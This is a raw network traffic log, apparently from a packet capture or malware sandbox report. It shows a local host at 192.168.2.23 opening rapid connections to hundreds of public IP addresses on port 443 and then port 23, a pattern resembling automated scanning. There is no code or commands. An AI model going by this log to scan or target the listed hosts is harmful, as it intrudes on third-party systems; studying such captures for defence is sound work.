Dec 27, 2024 05:02:51.823412895 CET	14257	443	192.168.2.23	37.28.123.101
Dec 27, 2024 05:02:51.823414087 CET	14257	443	192.168.2.23	42.22.246.159
Dec 27, 2024 05:02:51.823419094 CET	14257	443	192.168.2.23	123.222.185.189
Dec 27, 2024 05:02:51.823421001 CET	14257	443	192.168.2.23	37.113.251.22
Dec 27, 2024 05:02:51.823426008 CET	14257	443	192.168.2.23	212.38.2.127
Dec 27, 2024 05:02:51.823426008 CET	14257	443	192.168.2.23	210.150.34.167
Dec 27, 2024 05:02:51.823426008 CET	14257	443	192.168.2.23	118.45.226.35
Dec 27, 2024 05:02:51.823427916 CET	14257	443	192.168.2.23	202.107.60.91
Dec 27, 2024 05:02:51.823427916 CET	14257	443	192.168.2.23	37.199.77.4
Dec 27, 2024 05:02:51.823427916 CET	14257	443	192.168.2.23	178.62.176.82
Dec 27, 2024 05:02:51.823427916 CET	14257	443	192.168.2.23	79.167.18.170
Dec 27, 2024 05:02:51.823430061 CET	14257	443	192.168.2.23	2.192.66.64
Dec 27, 2024 05:02:51.823430061 CET	14257	443	192.168.2.23	148.114.58.44
Dec 27, 2024 05:02:51.823430061 CET	14257	443	192.168.2.23	148.16.137.250
Dec 27, 2024 05:02:51.823435068 CET	14257	443	192.168.2.23	37.75.245.116
Dec 27, 2024 05:02:51.823436975 CET	14257	443	192.168.2.23	117.152.107.246
Dec 27, 2024 05:02:51.823438883 CET	14257	443	192.168.2.23	118.29.26.182
Dec 27, 2024 05:02:51.823451042 CET	14257	443	192.168.2.23	37.94.53.90
Dec 27, 2024 05:02:51.823451996 CET	14257	443	192.168.2.23	123.63.213.59
Dec 27, 2024 05:02:51.823451996 CET	14257	443	192.168.2.23	210.56.222.246
Dec 27, 2024 05:02:51.823458910 CET	14257	443	192.168.2.23	117.240.137.27
Dec 27, 2024 05:02:51.823458910 CET	14257	443	192.168.2.23	5.99.219.250
Dec 27, 2024 05:02:51.823460102 CET	14257	443	192.168.2.23	37.169.48.118
Dec 27, 2024 05:02:51.823458910 CET	14257	443	192.168.2.23	212.98.28.43
Dec 27, 2024 05:02:51.823479891 CET	14257	443	192.168.2.23	79.108.8.179
Dec 27, 2024 05:02:51.823479891 CET	14257	443	192.168.2.23	79.183.14.50
Dec 27, 2024 05:02:51.823482990 CET	14257	443	192.168.2.23	123.213.41.205
Dec 27, 2024 05:02:51.823486090 CET	14257	443	192.168.2.23	202.205.181.123
Dec 27, 2024 05:02:51.823486090 CET	14257	443	192.168.2.23	202.172.195.105
Dec 27, 2024 05:02:51.823487043 CET	14257	443	192.168.2.23	148.228.98.39
Dec 27, 2024 05:02:51.823487043 CET	14257	443	192.168.2.23	178.52.74.64
Dec 27, 2024 05:02:51.823487043 CET	14257	443	192.168.2.23	2.206.215.179
Dec 27, 2024 05:02:51.823487043 CET	14257	443	192.168.2.23	212.175.30.30
Dec 27, 2024 05:02:51.823487043 CET	14257	443	192.168.2.23	118.187.140.140
Dec 27, 2024 05:02:51.823498964 CET	14257	443	192.168.2.23	212.233.126.85
Dec 27, 2024 05:02:51.823503971 CET	14257	443	192.168.2.23	79.71.149.67
Dec 27, 2024 05:02:51.823504925 CET	14257	443	192.168.2.23	202.195.211.22
Dec 27, 2024 05:02:51.823507071 CET	14257	443	192.168.2.23	148.239.145.132
Dec 27, 2024 05:02:51.823509932 CET	14257	443	192.168.2.23	37.201.224.253
Dec 27, 2024 05:02:51.823509932 CET	14257	443	192.168.2.23	5.163.240.253
Dec 27, 2024 05:02:51.823522091 CET	14257	443	192.168.2.23	210.198.60.34
Dec 27, 2024 05:02:51.823527098 CET	14257	443	192.168.2.23	2.36.126.50
Dec 27, 2024 05:02:51.823527098 CET	14257	443	192.168.2.23	5.140.52.167
Dec 27, 2024 05:02:51.823529959 CET	14257	443	192.168.2.23	109.210.40.95
Dec 27, 2024 05:02:51.823529959 CET	14257	443	192.168.2.23	210.98.186.186
Dec 27, 2024 05:02:51.823529959 CET	14257	443	192.168.2.23	42.8.57.131
Dec 27, 2024 05:02:51.823530912 CET	14257	443	192.168.2.23	79.57.140.30
Dec 27, 2024 05:02:51.823539972 CET	14257	443	192.168.2.23	210.25.180.120
Dec 27, 2024 05:02:51.823550940 CET	14257	443	192.168.2.23	202.215.31.129
Dec 27, 2024 05:02:51.823550940 CET	14257	443	192.168.2.23	148.213.164.85
Dec 27, 2024 05:02:51.823563099 CET	14257	443	192.168.2.23	117.19.8.138
Dec 27, 2024 05:02:51.823564053 CET	14257	443	192.168.2.23	42.124.169.125
Dec 27, 2024 05:02:51.823563099 CET	14257	443	192.168.2.23	118.75.192.31
Dec 27, 2024 05:02:51.823564053 CET	14257	443	192.168.2.23	42.210.151.153
Dec 27, 2024 05:02:51.823564053 CET	14257	443	192.168.2.23	5.255.199.50
Dec 27, 2024 05:02:51.823570013 CET	14257	443	192.168.2.23	202.219.188.212
Dec 27, 2024 05:02:51.823571920 CET	14257	443	192.168.2.23	202.42.150.4
Dec 27, 2024 05:02:51.823573112 CET	14257	443	192.168.2.23	42.238.214.153
Dec 27, 2024 05:02:51.823584080 CET	14257	443	192.168.2.23	178.238.28.140
Dec 27, 2024 05:02:51.823584080 CET	14257	443	192.168.2.23	123.15.237.16
Dec 27, 2024 05:02:51.823585987 CET	14257	443	192.168.2.23	210.9.8.21
Dec 27, 2024 05:02:51.823585987 CET	14257	443	192.168.2.23	2.245.203.35
Dec 27, 2024 05:02:51.823585987 CET	14257	443	192.168.2.23	5.75.101.77
Dec 27, 2024 05:02:51.823585987 CET	14257	443	192.168.2.23	202.132.232.202
Dec 27, 2024 05:02:51.823595047 CET	14257	443	192.168.2.23	202.59.202.202
Dec 27, 2024 05:02:51.823596001 CET	14257	443	192.168.2.23	212.64.101.169
Dec 27, 2024 05:02:51.823596001 CET	14257	443	192.168.2.23	210.215.14.32
Dec 27, 2024 05:02:51.823596001 CET	14257	443	192.168.2.23	42.125.138.67
Dec 27, 2024 05:02:51.823596001 CET	14257	443	192.168.2.23	148.24.239.216
Dec 27, 2024 05:02:51.823596954 CET	14257	443	192.168.2.23	79.205.232.249
Dec 27, 2024 05:02:51.823602915 CET	14257	443	192.168.2.23	2.31.126.168
Dec 27, 2024 05:02:51.823607922 CET	14257	443	192.168.2.23	117.133.114.93
Dec 27, 2024 05:02:51.823616982 CET	14257	443	192.168.2.23	42.78.72.236
Dec 27, 2024 05:02:51.823622942 CET	14257	443	192.168.2.23	178.228.56.173
Dec 27, 2024 05:02:51.823622942 CET	14257	443	192.168.2.23	37.34.109.24
Dec 27, 2024 05:02:51.823630095 CET	14257	443	192.168.2.23	178.167.154.124
Dec 27, 2024 05:02:51.823630095 CET	14257	443	192.168.2.23	42.206.198.29
Dec 27, 2024 05:02:51.823636055 CET	14257	443	192.168.2.23	202.158.50.195
Dec 27, 2024 05:02:51.823647976 CET	14257	443	192.168.2.23	123.222.250.240
Dec 27, 2024 05:02:51.823646069 CET	14257	443	192.168.2.23	37.64.39.252
Dec 27, 2024 05:02:51.823647976 CET	14257	443	192.168.2.23	118.182.69.19
Dec 27, 2024 05:02:51.823656082 CET	14257	443	192.168.2.23	42.10.221.13
Dec 27, 2024 05:02:51.823656082 CET	14257	443	192.168.2.23	178.254.24.197
Dec 27, 2024 05:02:51.823659897 CET	14257	443	192.168.2.23	118.206.172.66
Dec 27, 2024 05:02:51.823659897 CET	14257	443	192.168.2.23	117.173.43.212
Dec 27, 2024 05:02:51.823659897 CET	14257	443	192.168.2.23	94.39.36.177
Dec 27, 2024 05:02:51.823662996 CET	14257	443	192.168.2.23	148.106.84.10
Dec 27, 2024 05:02:51.823678017 CET	14257	443	192.168.2.23	79.25.188.196
Dec 27, 2024 05:02:51.823678017 CET	14257	443	192.168.2.23	178.78.35.42
Dec 27, 2024 05:02:51.823678017 CET	14257	443	192.168.2.23	5.117.79.221
Dec 27, 2024 05:02:51.823681116 CET	14257	443	192.168.2.23	109.18.81.0
Dec 27, 2024 05:02:51.823687077 CET	14257	443	192.168.2.23	212.105.247.191
Dec 27, 2024 05:02:51.823688030 CET	14257	443	192.168.2.23	210.190.166.182
Dec 27, 2024 05:02:51.823688984 CET	14257	443	192.168.2.23	178.220.199.41
Dec 27, 2024 05:02:51.823692083 CET	14257	443	192.168.2.23	117.157.33.43
Dec 27, 2024 05:02:51.823693037 CET	14257	443	192.168.2.23	123.183.238.207
Dec 27, 2024 05:02:51.823693037 CET	14257	443	192.168.2.23	202.79.17.50
Dec 27, 2024 05:02:51.823693991 CET	14257	443	192.168.2.23	79.105.122.190
Dec 27, 2024 05:02:51.823709011 CET	14257	443	192.168.2.23	117.150.215.112
Dec 27, 2024 05:02:51.823714972 CET	14257	443	192.168.2.23	79.225.230.129
Dec 27, 2024 05:02:51.823724031 CET	14257	443	192.168.2.23	79.137.65.36
Dec 27, 2024 05:02:51.823724985 CET	14257	443	192.168.2.23	178.156.3.83
Dec 27, 2024 05:02:51.823724985 CET	14257	443	192.168.2.23	123.97.200.19
Dec 27, 2024 05:02:51.823725939 CET	14257	443	192.168.2.23	94.62.203.36
Dec 27, 2024 05:02:51.823725939 CET	14257	443	192.168.2.23	212.172.53.114
Dec 27, 2024 05:02:51.823738098 CET	14257	443	192.168.2.23	42.169.166.98
Dec 27, 2024 05:02:51.823738098 CET	14257	443	192.168.2.23	210.223.102.251
Dec 27, 2024 05:02:51.823738098 CET	14257	443	192.168.2.23	202.152.239.170
Dec 27, 2024 05:02:51.823739052 CET	14257	443	192.168.2.23	79.58.92.163
Dec 27, 2024 05:02:51.823739052 CET	14257	443	192.168.2.23	118.120.36.9
Dec 27, 2024 05:02:51.823739052 CET	14257	443	192.168.2.23	212.162.12.21
Dec 27, 2024 05:02:51.823740959 CET	14257	443	192.168.2.23	118.63.122.34
Dec 27, 2024 05:02:51.823740959 CET	14257	443	192.168.2.23	117.83.174.5
Dec 27, 2024 05:02:51.823740959 CET	14257	443	192.168.2.23	37.130.64.142
Dec 27, 2024 05:02:51.823740959 CET	14257	443	192.168.2.23	37.43.115.164
Dec 27, 2024 05:02:51.823750019 CET	14257	443	192.168.2.23	210.57.236.140
Dec 27, 2024 05:02:51.823750973 CET	14257	443	192.168.2.23	94.24.69.92
Dec 27, 2024 05:02:51.823750973 CET	14257	443	192.168.2.23	37.127.247.211
Dec 27, 2024 05:02:51.823754072 CET	14257	443	192.168.2.23	178.161.227.5
Dec 27, 2024 05:02:51.823754072 CET	14257	443	192.168.2.23	178.203.145.73
Dec 27, 2024 05:02:51.823755026 CET	14257	443	192.168.2.23	210.182.28.153
Dec 27, 2024 05:02:51.823755026 CET	14257	443	192.168.2.23	118.125.229.116
Dec 27, 2024 05:02:51.823755026 CET	14257	443	192.168.2.23	79.12.17.135
Dec 27, 2024 05:02:51.823755980 CET	14257	443	192.168.2.23	5.129.179.172
Dec 27, 2024 05:02:51.823767900 CET	14257	443	192.168.2.23	118.135.90.92
Dec 27, 2024 05:02:51.823767900 CET	14257	443	192.168.2.23	117.129.85.107
Dec 27, 2024 05:02:51.823774099 CET	14257	443	192.168.2.23	210.41.225.233
Dec 27, 2024 05:02:51.823775053 CET	14257	443	192.168.2.23	202.160.212.227
Dec 27, 2024 05:02:51.823776960 CET	14257	443	192.168.2.23	109.79.25.179
Dec 27, 2024 05:02:51.823781013 CET	14257	443	192.168.2.23	2.39.148.209
Dec 27, 2024 05:02:51.823781013 CET	14257	443	192.168.2.23	42.68.28.104
Dec 27, 2024 05:02:51.823791027 CET	14257	443	192.168.2.23	117.234.90.144
Dec 27, 2024 05:02:51.823796988 CET	14257	443	192.168.2.23	42.89.167.217
Dec 27, 2024 05:02:51.823797941 CET	14257	443	192.168.2.23	178.179.30.242
Dec 27, 2024 05:02:51.823798895 CET	14257	443	192.168.2.23	2.20.35.104
Dec 27, 2024 05:02:51.823798895 CET	14257	443	192.168.2.23	118.58.150.126
Dec 27, 2024 05:02:51.823802948 CET	14257	443	192.168.2.23	94.27.34.244
Dec 27, 2024 05:02:51.823817968 CET	14257	443	192.168.2.23	210.74.64.251
Dec 27, 2024 05:02:51.823822975 CET	14257	443	192.168.2.23	5.169.138.237
Dec 27, 2024 05:02:51.823823929 CET	14257	443	192.168.2.23	2.13.216.235
Dec 27, 2024 05:02:51.823823929 CET	14257	443	192.168.2.23	118.106.151.173
Dec 27, 2024 05:02:51.823824883 CET	14257	443	192.168.2.23	109.10.148.90
Dec 27, 2024 05:02:51.823826075 CET	14257	443	192.168.2.23	94.104.51.125
Dec 27, 2024 05:02:51.823832989 CET	14257	443	192.168.2.23	2.29.136.253
Dec 27, 2024 05:02:51.823839903 CET	14257	443	192.168.2.23	117.62.102.181
Dec 27, 2024 05:02:51.823839903 CET	14257	443	192.168.2.23	118.215.172.42
Dec 27, 2024 05:02:51.823848009 CET	14257	443	192.168.2.23	109.40.161.6
Dec 27, 2024 05:02:51.823848009 CET	14257	443	192.168.2.23	148.125.21.83
Dec 27, 2024 05:02:51.823856115 CET	14257	443	192.168.2.23	210.98.149.119
Dec 27, 2024 05:02:51.823856115 CET	14257	443	192.168.2.23	109.26.160.174
Dec 27, 2024 05:02:51.823858976 CET	14257	443	192.168.2.23	210.42.198.210
Dec 27, 2024 05:02:51.823858976 CET	14257	443	192.168.2.23	5.170.219.88
Dec 27, 2024 05:02:51.823858976 CET	14257	443	192.168.2.23	42.132.26.62
Dec 27, 2024 05:02:51.823865891 CET	14257	443	192.168.2.23	37.159.152.120
Dec 27, 2024 05:02:51.823868036 CET	14257	443	192.168.2.23	94.12.70.20
Dec 27, 2024 05:02:51.823879957 CET	14257	443	192.168.2.23	202.71.255.103
Dec 27, 2024 05:02:51.823879957 CET	14257	443	192.168.2.23	178.86.19.203
Dec 27, 2024 05:02:51.823880911 CET	14257	443	192.168.2.23	79.178.230.130
Dec 27, 2024 05:02:51.823884964 CET	14257	443	192.168.2.23	212.73.225.199
Dec 27, 2024 05:02:51.823884964 CET	14257	443	192.168.2.23	178.192.215.73
Dec 27, 2024 05:02:51.823889971 CET	14257	443	192.168.2.23	117.177.40.30
Dec 27, 2024 05:02:51.823889971 CET	14257	443	192.168.2.23	148.24.41.7
Dec 27, 2024 05:02:51.823892117 CET	14257	443	192.168.2.23	37.180.8.142
Dec 27, 2024 05:02:51.823899031 CET	14257	443	192.168.2.23	178.227.14.166
Dec 27, 2024 05:02:51.823903084 CET	14257	443	192.168.2.23	178.43.32.202
Dec 27, 2024 05:02:51.823904991 CET	14257	443	192.168.2.23	117.100.215.70
Dec 27, 2024 05:02:51.823911905 CET	14257	443	192.168.2.23	79.158.239.181
Dec 27, 2024 05:02:51.823911905 CET	14257	443	192.168.2.23	118.175.106.141
Dec 27, 2024 05:02:51.823911905 CET	14257	443	192.168.2.23	79.106.195.212
Dec 27, 2024 05:02:51.823914051 CET	14257	443	192.168.2.23	117.217.176.253
Dec 27, 2024 05:02:51.823919058 CET	14257	443	192.168.2.23	212.187.30.144
Dec 27, 2024 05:02:51.823919058 CET	14257	443	192.168.2.23	42.177.54.10
Dec 27, 2024 05:02:51.823926926 CET	14257	443	192.168.2.23	148.12.82.7
Dec 27, 2024 05:02:51.823934078 CET	14257	443	192.168.2.23	117.214.148.142
Dec 27, 2024 05:02:51.823934078 CET	14257	443	192.168.2.23	178.107.53.219
Dec 27, 2024 05:02:51.823935986 CET	14257	443	192.168.2.23	109.50.4.83
Dec 27, 2024 05:02:51.823937893 CET	14257	443	192.168.2.23	94.249.75.171
Dec 27, 2024 05:02:51.823937893 CET	14257	443	192.168.2.23	5.54.162.18
Dec 27, 2024 05:02:51.823939085 CET	14257	443	192.168.2.23	212.108.174.133
Dec 27, 2024 05:02:51.823939085 CET	14257	443	192.168.2.23	212.11.200.205
Dec 27, 2024 05:02:51.823952913 CET	14257	443	192.168.2.23	117.70.218.68
Dec 27, 2024 05:02:51.823952913 CET	14257	443	192.168.2.23	2.235.136.30
Dec 27, 2024 05:02:51.823960066 CET	14257	443	192.168.2.23	118.245.215.72
Dec 27, 2024 05:02:51.823960066 CET	14257	443	192.168.2.23	5.94.159.33
Dec 27, 2024 05:02:51.823960066 CET	14257	443	192.168.2.23	117.233.96.37
Dec 27, 2024 05:02:51.823961020 CET	14257	443	192.168.2.23	210.19.83.83
Dec 27, 2024 05:02:51.824100971 CET	50634	443	192.168.2.23	178.153.133.249
Dec 27, 2024 05:02:51.824100971 CET	50634	443	192.168.2.23	178.153.133.249
Dec 27, 2024 05:02:51.824117899 CET	443	50634	178.153.133.249	192.168.2.23
Dec 27, 2024 05:02:51.824151993 CET	443	50634	178.153.133.249	192.168.2.23
Dec 27, 2024 05:02:51.853344917 CET	45350	443	192.168.2.23	212.19.68.20
Dec 27, 2024 05:02:51.853344917 CET	34782	443	192.168.2.23	117.45.125.118
Dec 27, 2024 05:02:51.853344917 CET	55968	443	192.168.2.23	212.58.90.28
Dec 27, 2024 05:02:51.853347063 CET	51856	443	192.168.2.23	148.230.36.204
Dec 27, 2024 05:02:51.853354931 CET	443	51856	148.230.36.204	192.168.2.23
Dec 27, 2024 05:02:51.853355885 CET	47330	443	192.168.2.23	178.188.213.115
Dec 27, 2024 05:02:51.853355885 CET	55394	443	192.168.2.23	148.254.189.231
Dec 27, 2024 05:02:51.853358030 CET	443	45350	212.19.68.20	192.168.2.23
Dec 27, 2024 05:02:51.853359938 CET	51352	443	192.168.2.23	94.145.255.162
Dec 27, 2024 05:02:51.853359938 CET	443	34782	117.45.125.118	192.168.2.23
Dec 27, 2024 05:02:51.853360891 CET	60422	443	192.168.2.23	79.23.92.34
Dec 27, 2024 05:02:51.853360891 CET	46352	443	192.168.2.23	109.184.85.55
Dec 27, 2024 05:02:51.853360891 CET	47650	443	192.168.2.23	148.4.14.33
Dec 27, 2024 05:02:51.853363037 CET	40138	443	192.168.2.23	5.3.56.22
Dec 27, 2024 05:02:51.853363037 CET	60108	443	192.168.2.23	212.132.80.216
Dec 27, 2024 05:02:51.853364944 CET	49212	443	192.168.2.23	2.52.0.81
Dec 27, 2024 05:02:51.853368998 CET	55000	443	192.168.2.23	123.232.214.93
Dec 27, 2024 05:02:51.853374004 CET	44182	443	192.168.2.23	109.140.219.87
Dec 27, 2024 05:02:51.853374004 CET	59744	443	192.168.2.23	148.73.151.120
Dec 27, 2024 05:02:51.853374004 CET	38382	443	192.168.2.23	210.22.84.182
Dec 27, 2024 05:02:51.853374004 CET	34902	443	192.168.2.23	37.113.112.26
Dec 27, 2024 05:02:51.853374004 CET	48832	443	192.168.2.23	202.218.34.65
Dec 27, 2024 05:02:51.853400946 CET	45350	443	192.168.2.23	212.19.68.20
Dec 27, 2024 05:02:51.853403091 CET	34782	443	192.168.2.23	117.45.125.118
Dec 27, 2024 05:02:51.853404999 CET	51856	443	192.168.2.23	148.230.36.204
Dec 27, 2024 05:02:51.853573084 CET	51856	443	192.168.2.23	148.230.36.204
Dec 27, 2024 05:02:51.853573084 CET	51856	443	192.168.2.23	148.230.36.204
Dec 27, 2024 05:02:51.853574038 CET	34782	443	192.168.2.23	117.45.125.118
Dec 27, 2024 05:02:51.853574038 CET	34782	443	192.168.2.23	117.45.125.118
Dec 27, 2024 05:02:51.853588104 CET	45350	443	192.168.2.23	212.19.68.20
Dec 27, 2024 05:02:51.853589058 CET	443	34782	117.45.125.118	192.168.2.23
Dec 27, 2024 05:02:51.853590012 CET	443	51856	148.230.36.204	192.168.2.23
Dec 27, 2024 05:02:51.853605986 CET	443	45350	212.19.68.20	192.168.2.23
Dec 27, 2024 05:02:51.853614092 CET	45350	443	192.168.2.23	212.19.68.20
Dec 27, 2024 05:02:51.853614092 CET	443	34782	117.45.125.118	192.168.2.23
Dec 27, 2024 05:02:51.853630066 CET	443	45350	212.19.68.20	192.168.2.23
Dec 27, 2024 05:02:51.853631020 CET	443	51856	148.230.36.204	192.168.2.23
Dec 27, 2024 05:02:51.885335922 CET	36832	443	192.168.2.23	123.27.205.254
Dec 27, 2024 05:02:51.885335922 CET	57260	443	192.168.2.23	212.189.193.93
Dec 27, 2024 05:02:51.885338068 CET	60496	443	192.168.2.23	42.115.143.75
Dec 27, 2024 05:02:51.885344028 CET	39456	443	192.168.2.23	210.163.137.103
Dec 27, 2024 05:02:51.885344028 CET	40456	443	192.168.2.23	212.12.59.250
Dec 27, 2024 05:02:51.885348082 CET	443	60496	42.115.143.75	192.168.2.23
Dec 27, 2024 05:02:51.885348082 CET	56086	443	192.168.2.23	42.95.141.43
Dec 27, 2024 05:02:51.885348082 CET	33962	443	192.168.2.23	123.40.170.183
Dec 27, 2024 05:02:51.885348082 CET	51252	443	192.168.2.23	212.71.83.33
Dec 27, 2024 05:02:51.885353088 CET	443	36832	123.27.205.254	192.168.2.23
Dec 27, 2024 05:02:51.885359049 CET	42602	443	192.168.2.23	210.126.72.59
Dec 27, 2024 05:02:51.885363102 CET	443	57260	212.189.193.93	192.168.2.23
Dec 27, 2024 05:02:51.885370016 CET	53144	443	192.168.2.23	42.114.74.64
Dec 27, 2024 05:02:51.885374069 CET	60680	443	192.168.2.23	123.154.135.31
Dec 27, 2024 05:02:51.885375023 CET	34492	443	192.168.2.23	109.183.78.152
Dec 27, 2024 05:02:51.885375023 CET	51918	443	192.168.2.23	94.228.116.188
Dec 27, 2024 05:02:51.885375023 CET	36682	443	192.168.2.23	5.18.80.144
Dec 27, 2024 05:02:51.885375023 CET	42428	443	192.168.2.23	2.248.122.231
Dec 27, 2024 05:02:51.885376930 CET	42882	443	192.168.2.23	2.172.17.28
Dec 27, 2024 05:02:51.885385036 CET	40074	443	192.168.2.23	94.249.27.56
Dec 27, 2024 05:02:51.885385036 CET	60502	443	192.168.2.23	123.226.21.45
Dec 27, 2024 05:02:51.885397911 CET	60496	443	192.168.2.23	42.115.143.75
Dec 27, 2024 05:02:51.885529041 CET	57260	443	192.168.2.23	212.189.193.93
Dec 27, 2024 05:02:51.885529041 CET	57260	443	192.168.2.23	212.189.193.93
Dec 27, 2024 05:02:51.885552883 CET	443	57260	212.189.193.93	192.168.2.23
Dec 27, 2024 05:02:51.885559082 CET	60496	443	192.168.2.23	42.115.143.75
Dec 27, 2024 05:02:51.885562897 CET	57260	443	192.168.2.23	212.189.193.93
Dec 27, 2024 05:02:51.885567904 CET	443	60496	42.115.143.75	192.168.2.23
Dec 27, 2024 05:02:51.885576963 CET	36832	443	192.168.2.23	123.27.205.254
Dec 27, 2024 05:02:51.885591030 CET	60496	443	192.168.2.23	42.115.143.75
Dec 27, 2024 05:02:51.885611057 CET	443	57260	212.189.193.93	192.168.2.23
Dec 27, 2024 05:02:51.885634899 CET	443	60496	42.115.143.75	192.168.2.23
Dec 27, 2024 05:02:51.885660887 CET	36832	443	192.168.2.23	123.27.205.254
Dec 27, 2024 05:02:51.885660887 CET	36832	443	192.168.2.23	123.27.205.254
Dec 27, 2024 05:02:51.885674000 CET	443	36832	123.27.205.254	192.168.2.23
Dec 27, 2024 05:02:51.885701895 CET	443	36832	123.27.205.254	192.168.2.23
Dec 27, 2024 05:02:51.917325974 CET	39932	443	192.168.2.23	123.200.14.224
Dec 27, 2024 05:02:51.917330980 CET	38332	443	192.168.2.23	123.92.153.143
Dec 27, 2024 05:02:51.917334080 CET	43206	443	192.168.2.23	42.115.47.220
Dec 27, 2024 05:02:51.917334080 CET	47936	443	192.168.2.23	37.156.210.7
Dec 27, 2024 05:02:51.917335033 CET	443	39932	123.200.14.224	192.168.2.23
Dec 27, 2024 05:02:51.917335987 CET	45012	443	192.168.2.23	42.142.129.91
Dec 27, 2024 05:02:51.917340994 CET	58246	443	192.168.2.23	210.94.33.7
Dec 27, 2024 05:02:51.917340994 CET	46844	443	192.168.2.23	109.111.162.164
Dec 27, 2024 05:02:51.917342901 CET	58122	443	192.168.2.23	37.129.174.150
Dec 27, 2024 05:02:51.917342901 CET	58058	443	192.168.2.23	212.78.47.138
Dec 27, 2024 05:02:51.917346001 CET	443	38332	123.92.153.143	192.168.2.23
Dec 27, 2024 05:02:51.917355061 CET	47588	443	192.168.2.23	117.111.182.109
Dec 27, 2024 05:02:51.917370081 CET	443	43206	42.115.47.220	192.168.2.23
Dec 27, 2024 05:02:51.917381048 CET	35400	443	192.168.2.23	202.170.198.229
Dec 27, 2024 05:02:51.917387009 CET	39932	443	192.168.2.23	123.200.14.224
Dec 27, 2024 05:02:51.917392969 CET	38332	443	192.168.2.23	123.92.153.143
Dec 27, 2024 05:02:51.917561054 CET	39932	443	192.168.2.23	123.200.14.224
Dec 27, 2024 05:02:51.917563915 CET	38332	443	192.168.2.23	123.92.153.143
Dec 27, 2024 05:02:51.917563915 CET	38332	443	192.168.2.23	123.92.153.143
Dec 27, 2024 05:02:51.917572021 CET	443	39932	123.200.14.224	192.168.2.23
Dec 27, 2024 05:02:51.917576075 CET	443	38332	123.92.153.143	192.168.2.23
Dec 27, 2024 05:02:51.917582035 CET	39932	443	192.168.2.23	123.200.14.224
Dec 27, 2024 05:02:51.917598009 CET	43206	443	192.168.2.23	42.115.47.220
Dec 27, 2024 05:02:51.917607069 CET	443	39932	123.200.14.224	192.168.2.23
Dec 27, 2024 05:02:51.917614937 CET	443	38332	123.92.153.143	192.168.2.23
Dec 27, 2024 05:02:51.917681932 CET	43206	443	192.168.2.23	42.115.47.220
Dec 27, 2024 05:02:51.917681932 CET	43206	443	192.168.2.23	42.115.47.220
Dec 27, 2024 05:02:51.917692900 CET	443	43206	42.115.47.220	192.168.2.23
Dec 27, 2024 05:02:51.917723894 CET	443	43206	42.115.47.220	192.168.2.23
Dec 27, 2024 05:02:51.949335098 CET	33428	443	192.168.2.23	94.57.180.144
Dec 27, 2024 05:02:51.949335098 CET	49326	443	192.168.2.23	2.181.94.12
Dec 27, 2024 05:02:51.949336052 CET	48568	443	192.168.2.23	178.89.3.203
Dec 27, 2024 05:02:51.949336052 CET	39630	443	192.168.2.23	210.24.142.44
Dec 27, 2024 05:02:51.949337959 CET	56474	443	192.168.2.23	37.167.35.9
Dec 27, 2024 05:02:51.949343920 CET	443	33428	94.57.180.144	192.168.2.23
Dec 27, 2024 05:02:51.949347019 CET	443	49326	2.181.94.12	192.168.2.23
Dec 27, 2024 05:02:51.949346066 CET	38858	443	192.168.2.23	5.194.114.237
Dec 27, 2024 05:02:51.949357986 CET	443	48568	178.89.3.203	192.168.2.23
Dec 27, 2024 05:02:51.949357986 CET	49278	443	192.168.2.23	123.106.43.220
Dec 27, 2024 05:02:51.949361086 CET	48310	443	192.168.2.23	148.123.197.254
Dec 27, 2024 05:02:51.949390888 CET	49326	443	192.168.2.23	2.181.94.12
Dec 27, 2024 05:02:51.949393034 CET	33428	443	192.168.2.23	94.57.180.144
Dec 27, 2024 05:02:51.949414968 CET	48568	443	192.168.2.23	178.89.3.203
Dec 27, 2024 05:02:51.949536085 CET	33428	443	192.168.2.23	94.57.180.144
Dec 27, 2024 05:02:51.949539900 CET	443	33428	94.57.180.144	192.168.2.23
Dec 27, 2024 05:02:51.949559927 CET	33428	443	192.168.2.23	94.57.180.144
Dec 27, 2024 05:02:51.949567080 CET	49326	443	192.168.2.23	2.181.94.12
Dec 27, 2024 05:02:51.949570894 CET	443	49326	2.181.94.12	192.168.2.23
Dec 27, 2024 05:02:51.949589014 CET	49326	443	192.168.2.23	2.181.94.12
Dec 27, 2024 05:02:51.949628115 CET	48568	443	192.168.2.23	178.89.3.203
Dec 27, 2024 05:02:51.949631929 CET	443	48568	178.89.3.203	192.168.2.23
Dec 27, 2024 05:02:51.949752092 CET	48568	443	192.168.2.23	178.89.3.203
Dec 27, 2024 05:02:51.950474024 CET	443	33428	94.57.180.144	192.168.2.23
Dec 27, 2024 05:02:51.950501919 CET	443	49326	2.181.94.12	192.168.2.23
Dec 27, 2024 05:02:51.950551033 CET	443	48568	178.89.3.203	192.168.2.23
Dec 27, 2024 05:02:52.429291964 CET	43928	443	192.168.2.23	91.189.91.42
Dec 27, 2024 05:02:52.626379967 CET	14219	23	192.168.2.23	117.162.94.2
Dec 27, 2024 05:02:52.626386881 CET	14219	23	192.168.2.23	62.250.172.141
Dec 27, 2024 05:02:52.626386881 CET	14219	23	192.168.2.23	77.95.183.168
Dec 27, 2024 05:02:52.626398087 CET	14219	23	192.168.2.23	24.237.204.130
Dec 27, 2024 05:02:52.626401901 CET	14219	23	192.168.2.23	88.7.170.0
Dec 27, 2024 05:02:52.626422882 CET	14219	23	192.168.2.23	158.196.62.237
Dec 27, 2024 05:02:52.626422882 CET	14219	23	192.168.2.23	12.185.117.177
Dec 27, 2024 05:02:52.626421928 CET	14219	23	192.168.2.23	117.133.6.233
Dec 27, 2024 05:02:52.626421928 CET	14219	23	192.168.2.23	104.201.22.229
Dec 27, 2024 05:02:52.626430988 CET	14219	23	192.168.2.23	211.185.59.173
Dec 27, 2024 05:02:52.626437902 CET	14219	23	192.168.2.23	99.242.237.135
Dec 27, 2024 05:02:52.626457930 CET	14219	23	192.168.2.23	122.84.228.202
Dec 27, 2024 05:02:52.626457930 CET	14219	23	192.168.2.23	198.254.219.253
Dec 27, 2024 05:02:52.626457930 CET	14219	23	192.168.2.23	35.73.245.254
Dec 27, 2024 05:02:52.626460075 CET	14219	23	192.168.2.23	75.153.102.162
Dec 27, 2024 05:02:52.626465082 CET	14219	23	192.168.2.23	219.59.201.248
Dec 27, 2024 05:02:52.626466036 CET	14219	23	192.168.2.23	109.50.214.55
Dec 27, 2024 05:02:52.626466990 CET	14219	23	192.168.2.23	37.194.53.168
Dec 27, 2024 05:02:52.626466990 CET	14219	23	192.168.2.23	85.117.13.38
Dec 27, 2024 05:02:52.626468897 CET	14219	23	192.168.2.23	136.230.151.67
Dec 27, 2024 05:02:52.626468897 CET	14219	23	192.168.2.23	141.81.20.41
